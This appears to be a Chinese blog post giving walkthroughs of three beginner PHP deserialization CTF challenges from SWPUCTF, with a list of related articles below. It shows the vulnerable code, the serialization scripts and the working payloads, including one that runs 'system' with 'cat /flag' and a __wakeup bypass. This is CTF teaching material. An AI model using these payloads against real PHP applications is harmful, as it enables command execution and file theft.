PHP反序列化部分题目解析

NEWSCTF第一届--官方wp(2021新春赛) 题目源码及部分wp汇总如下 链接:https://pan.baidu.com/s/1RIatd5BdmHgckwZ4w_Gcog 提取码:news Web 阅读详情

PHP反序列化部分题目解析

1.[SWPUCTF 2022 新生赛]1z_unserialize

首先进入靶场后,我们可以直接看到题目的php源码如下:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

稍加分析,我们可以知道在实现nss反序列化的同时,会触发__destruct()的魔术方法将lt的值赋给a,然后调用a中存储的函数,并将lly属性的值作为参数传递给该函数,由此我们想到把a变成system();this->lly变成ls就可以了

进行构造:

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat";

}

$demo = new lyh();
echo serialize($demo);

输出的结果为:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:3:"cat";}

所以payload为:

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

最后使用hackbar模拟post传参即可得到flag:
在这里插入图片描述

2.[SWPUCTF 2022 新生赛]ez_ez_unserialize

我们直接查看源代码:

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

代码首先会尝试调用$_REQUEST[‘x’],若该参数已经被设置,则对其进行反序列化,但在反序列化前会触发__wakeup(),将x重新赋值,最后反序列化后触发__destruct(),将最终的文件输出

所以我们首先构造一个可以调用flag is in fllllllag.php的序列化x:

<?php
class X
{
    public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>

结果为:

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

之后我们利用序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行的漏洞来绕过,所以最终的payload为:

x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag为:
在这里插入图片描述

3.[SWPUCTF 2021 新生赛]ez_unserialize

打开网站看到一只野生的胡桃,我们选择查看该页面的源代码
在这里插入图片描述

可以看到在代码的结尾有注释掉的文字,这个格式很像国庆假期中让了解的robots.txt,我们直接查看后得到了代码的文件名/cl45s.php

打开后查看源代码:

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

分析代码,我们如果想要得到flag,则需要满足admin === “admin” && $this->passwd === "ctf"两个条件,同时需要使__destruct()触发,所以我们先仿造主要函数构造出符合要求的序列化代码:

<?php
class wllm{
 
    public $admin;
    public $passwd;
 
    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
}
$a=new wllm();
$b=serialize($a);
echo $b;
?> 

得到的结果为:

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

payload即为:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

得到flag:

在这里插入图片描述

SWPUCTF 2022新生赛 web部分wp SWPUCTF 2022新生赛 阅读详情

相关推荐

[SWPUCTF 2022 新生赛]1z_unserialize和[SWPUCTF 2022 新生赛]ez_1zpo

得到以下payload=O:3:"lyh":3:{s:3:"url";s:3:"lly";以及这里有个wakeup的绕过,以及这里需要一个assert的函数不知道为啥要它,以及里边有一个md5的弱比较,绕过这三个就能够正常的命令执行了。[SWPUCTF 2022 新生赛]1z_unserialize。接着在另外给自己传参一个参数,在这个参数里做命令执行。[SWPUCTF 2022 新生赛]ez_1zpo。这个题目是一题很标准的反序列化,在根目录下边找到flag的文件。这个是构造的pop链。

m0_73700261的博客 1450

[SWPUCTF 2022 新生赛]ez_ez_unserialize

要绕过wakeup函数,只要序列化的中的成员数大于实际成员数。

wangzhemvp的博客 428

CTF中的反序列化题目

其次是wakeup,wakeup只需要把序列化字串的对象属性个数1改为别的数字就行了,但是注意这里file 的类型是private,所以打印出来的串是有不可见字符%00的,不要复制出来自己base,不然结果就不一样了。方法有一个CVE漏洞,CVE-2016-7124,在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。传入s中,就得到了执行phpinfo后的界面,完成了执行流程的改变。

weixin_50372036的博客 1286

CTF-PHP反序列化漏洞4-实例理解POP链(经典赛题)

悲观者预言失败,十言九中。乐观者创造奇迹,一次即可。一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)本专栏打破以往CTF速成或就题论题模式。采用。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

一个安全白帽子的成长记录:Web 安全、漏洞复现、内网渗透。完整目录在 gysec.top 3824

PHP反序列化漏洞实战:0CTF piapiapia题目解析

PHP反序列化漏洞是Web安全中常见的高危漏洞类型,其原理在于程序对用户输入的序列化数据未做严格校验,导致攻击者可以构造恶意数据改变程序逻辑。这类漏洞常出现在用户数据持久化场景,通过精心构造的payload触发对象注入或属性逃逸。在CTF比赛中,反序列化常与文件包含、SQL注入等漏洞形成组合攻击链。以0CTF piapiapia题目为例,展示了如何利用字符串替换造成的长度差异实现反序列化逃逸,最终读取服务器配置文件。防御方案包括使用JSON替代原生序列化、添加数据完整性校验、以及严格限制反序列化类白名单等。

weixin_28716443的博客 365

CTFSHOW-PHP反序列化

WEB254 题目: <?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->

Monica的博客 3921

php反序列化,ctf254~256

序列化是对象转换为数组或字符串等格式,反序列化是将数组或字符串等格式转换成对象// 属性// 构造函数// 方法return "用户名:" . $this->username;

m0_74849202的博客 810

php反序列化-字符串逃逸(包教包会)

php反序列化-字符串逃逸,通俗易懂

m0_73860001的博客 1074

细说php反序列化字符逃逸

亲爱的,关注我吧11/5文章共计4381个词预计阅读10分钟来和我一起阅读吧前言php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底...

蚁景网安学院 2925

PHP代码审计12—反序列化漏洞

PHP反序列化入门

W0ngk,一个安全菜鸡,一直在模仿,尚未有超越。 1981

【网络安全 | CTF】记一次PHP序列化反序列化解题详析

代码开门见山给出backdoor函数,而该函数在popko类的call方法中调用故需要运行call方法而call方法是在对象上下文中调用不可访问的方法时触发的故需要调用不可访问的方法 而恰巧destruct方法中并不存在a对象和a函数故需要运行destruct方法而destruct方法在对象被销毁时触发 如何实现对象被销毁呢? 当序列化后的语句被反序列化之后,对象会被销毁,从而触发destruct方法 所以思路就是: 在pipimi类中构造一个对象,当pipimi中的destru

等风来 6248

反序列化学习之PHP反序列化&POP链构造

反序列化学习(一) 前言 反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。 反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各种情况下。 总结一下: PHP反序列化漏洞 session反序列化 Phar反序列化漏洞 Python反序列化漏洞

wz0819529的博客 3930

暗黑破坏神2重制版 mod制作教程(一)

暗黑2重制版mod修改教程

hhhh2312的博客 7452

PHP反序列化&原生类&字符串逃逸&框架反序列化利用

序列化的原因:为了的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换成对象在php中,serialize()函数是序列化函数、unserialize()函数是反序列化函数上图可见,代码执行完后第一行是被序列化后的字符串。

weixin_67289581的博客 1409

bartender 10.1破解版|bartender条码打印10.1

点击下载出处:BarTender10.1破解版 bartender10.1破解版是一款专业的条码打印软件,在行业内广受好评,通过使用bartender我们可以将标签设计这个复杂的过程变得更简便,在设计中快速调整,即刻打印,非常迅速,BarTender10.1破解版不仅支持的标签类型包括EPC Class 1 、Gen2 、ISO 18000-6b 、ISO 15693 、Tag-It 、I-CO...

weixin_44924147的博客 6万+

Zabbix-获取客户端的SNMP数据

网口状态(ifOperStatus)的 OID 是1.3.6.1.2.1.2.2.1.8,查询时需要用1.3.6.1.2.1.2.2.1.8.1(第 1 个网口)、1.3.6.1.2.1.2.2.1.8.2(第 2 个网口)等。表格对象是指 “包含多个同类实例的对象”(如设备的多个网口、多个进程等,每个实例需要单独标识)。在 SNMP 规范中,标量对象的完整 OID 必须以.0结尾,.0是标量对象的唯一实例编号。标量对象是指 “单一值的对象”(如设备的名称、温度、状态等,整个设备只需要一个值来表示)。

徐子元 1726

PHP反序列化漏洞实战:从Greatphp题目解析到防御

PHP反序列化漏洞是Web安全领域的重点攻击面,其原理在于PHP对象序列化/反序列化过程中可能触发魔术方法的非预期执行。通过分析PHP底层zend_object结构体可知,不当的反序列化操作可能导致内存破坏或代码执行。在工程实践中,这类漏洞常出现在用户输入直接传入unserialize()函数的场景,结合SoapClient等内置类的特性可形成SSRF攻击链。以CTF题目Greatphp为例,攻击者通过构造恶意序列化数据,利用__destruct魔术方法触发SoapClient的SSRF行为,进而通过cre

weixin_42533120的博客 104

MATLAB实战:四桥臂逆变器3D-SVPWM调制算法仿真全流程(附代码)

本文提供了一份完整的MATLAB/Simulink实战指南,详细解析了四桥臂逆变器的3D-SVPWM调制算法仿真全流程。文章从工程实践出发,手把手指导如何搭建模型,涵盖从abc静止坐标系变换、三维空间矢量区域判定、作用时间计算到PWM信号生成与调试等核心环节,并附有代码示例和常见问题解决方案,旨在帮助工程师快速掌握这一应对不平衡负载的高效调制技术。

qsc90123456的博客 234

PHP反序列化漏洞解析

举一个最简单的例子,在C中,若要开发一个数据库,那么一定涉及到数据的存储,要将内存中的数据持久化的保存在磁盘中,这就要对数据的存储格式进行优化,比如使用结构体保存一个数据对象,结构体是存在默认对齐机制的,所以实际上结构体的大小会大于其中实际数据的大小,如果直接将结构体对象写在内存一定会造成内存空间的泄露,因此为了优化,可以将结构体存储的每个数据memcpy出,并紧凑排列并写入内存,这就是最简单的一种序列化。

kali_Ma的博客 1152

马尔可夫网络和贝叶斯网络的一些总结

马尔可夫网络和贝叶斯网络的一些总结 最近学习了一些关于概率逻辑的知识图谱推理方法,主要就是贝叶斯网络和马尔可夫网络,在此总结一下,内容都来自网络资料,这里加入了一下个人的理解,尽量为大家避雷! 这篇文章是我目前在网络上找到的关于贝叶斯网络最清晰的介绍,大家有兴趣可以去看看 贝叶斯网络中比较重要的两部分就是贝叶斯网络的结构和条件概率表。 贝叶斯网络的结构 下面通过一个例子来介绍: 贝叶斯网的网络结...

qq_43654303的博客 4373

Autosar EcuM配置-初始化及下电执行函数-基于ETAS软件

Autosar EcuM学习笔记-上电初始化执行函数及下电前执行函数,本文介绍在EcuM中的配置及使用。

赞的博客 849

php反序列化

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫"面向属性编程"POP( Property Oriented Programming).POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。魔术方法触发前提:魔术方法所在类(或对象)被调用jar是开发java程序一个应用,包括所有的可执行。可访问的文件,都打包进了一个jar文件,使得部署过程十分简单phar(“Php ARchive”)是php里类似jar的一种打包文件。

ki_nsey的博客 955

Allegro孔和线被做到器件里面如何解锁操作指导

在做PCB设计的时候,会遇到孔和线被做到器件的情况,当需要移动器件的时候,孔和线也会跟着移动。孔和线被做到器件里面如何解锁操作指导。

weixin_54787054的博客 1144

Pikachu 靶场 PHP 反序列化漏洞通关解析

PHP反序列化漏洞是指在PHP应用程序中存在的安全漏洞,攻击者可以利用该漏洞通过精心构造的恶意序列化数据来执行恶意代码或实现未授权的操作。这种漏洞可能导致远程代码执行、敏感信息泄露、服务器拒绝服务等安全问题。PHP中的反序列化漏洞通常与序列化和反序列化功能相关。在PHP中,序列化是将对象或数据结构转换为可传输或存储的字符串的过程,而反序列化则是将这些字符串转换回原始对象或数据结构的过程。

Flag少侠的博客 3403

NVP6324、NVP6188、NVP6158C的区别详解

根据搜索结果,NVP6324、NVP6188、NVP6158C是Nextchip公司推出的不同型号视频处理芯片,主要区别体现在应用场景、功能特性、接口支持及封装规格等方面。如需进一步技术细节(如寄存器配置或开发支持),可参考具体型号的规格书或联系Nextchip代理商。

小灰灰的博客 3002

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

[Web 安全] PHP 反序列化漏洞 —— PHP 序列化 & 反序列化

这就是前面介绍的反序列化的一个特性 “反序列化生成的对象成员属性值由被反序列化的字符串决定,与原来类预定义的值无关。这样,但其实类名两边其实还藏了两个 ASCII 码值为 0 的字符,所以其真实格式为(URL 编码后的哈,不编码的话 ASCII 值为 0 的其实是不可见字符)类的序列化结果基本大差不差,但是不同 “访问类型” 的变量序列化的结果有很大差异,这部分笔者就按照 “访问类型” 进行分类,并对每个单独进行讲解。如上,可以看到,通过反序列化被保存的值,我们成功还原了用户笔记里写的东西。

Blue17 の 小窝 1345

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

上一篇: php特性靶场
下一篇: DVWA靶场全解析(新手向)
刘桑没有烦恼
博客等级 码龄3年 218粉丝 20原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值